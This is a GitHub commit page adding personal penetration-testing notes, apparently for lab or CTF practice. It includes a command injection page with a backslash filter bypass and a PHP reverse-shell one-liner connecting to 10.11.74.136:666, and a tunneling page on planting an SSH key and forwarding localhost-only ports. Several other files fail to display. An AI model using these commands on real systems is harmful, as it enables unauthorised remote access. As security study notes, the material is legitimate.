generated from jackyzha0/quartz
-
-
Notifications
You must be signed in to change notification settings - Fork 1
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
13 changed files
with
92 additions
and
1 deletion.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,21 @@ | ||
--- | ||
title: Command Injection 💄 | ||
--- | ||
- Original content from [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection) | ||
|
||
## Filter Bypasses | ||
|
||
- Commands can be broken into parts by using a backslash (`\`): | ||
|
||
![](Pasted%20image%2020240417160455.png) | ||
|
||
![](Pasted%20image%2020240417160920.png) | ||
|
||
## What to do after obtaining one command injection? | ||
|
||
- Now you have to conveniently encode a web shell as the ones located in [Reverse shells 👾](reverse_shells.md) | ||
- Example using backslash (`\`): | ||
|
||
```shell | ||
ph\p -r '$sock=fsockopen("10.11.74.136",666);exec("/bin/sh -i <&3 >&3 2>&3");' | ||
``` |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,41 @@ | ||
--- | ||
title: Tunneling 🚡 | ||
--- | ||
## Finding out what is doing a port | ||
|
||
Quickly run: | ||
|
||
```shell | ||
curl localhost:9001 | ||
``` | ||
|
||
## Performing a reverse tunneling | ||
|
||
When you find a port that is only opened in localhost like: | ||
|
||
![](Pasted%20image%2020240417214309.png) | ||
|
||
you can drop a SSH key on the server and use SSH to do a reverse tunneling of the port you want to access back on our machine: | ||
|
||
```shell | ||
# Generate the ssh key | ||
ssh-keygen -f USERNAME | ||
``` | ||
|
||
![](Pasted%20image%2020240417214633.png) | ||
|
||
Now copy the `USERNAME.pub` key into the USERNAME `.ssh` folder: | ||
|
||
![](Pasted%20image%2020240417214904.png) | ||
|
||
```shell | ||
cp USERNAME.pub /home/USERNAME/.ssh/authored_keys | ||
``` | ||
|
||
Give to the SSH private key the necessary permissions and use the argument `-L` to perform a reverse port forwarding of the local port to your local box port: | ||
|
||
```shell | ||
chmod 400 USERNAME | ||
ssh -L PORT:127.0.0.1:PORT -i USERNAME USERNAME@IP_ATTACK | ||
``` | ||
|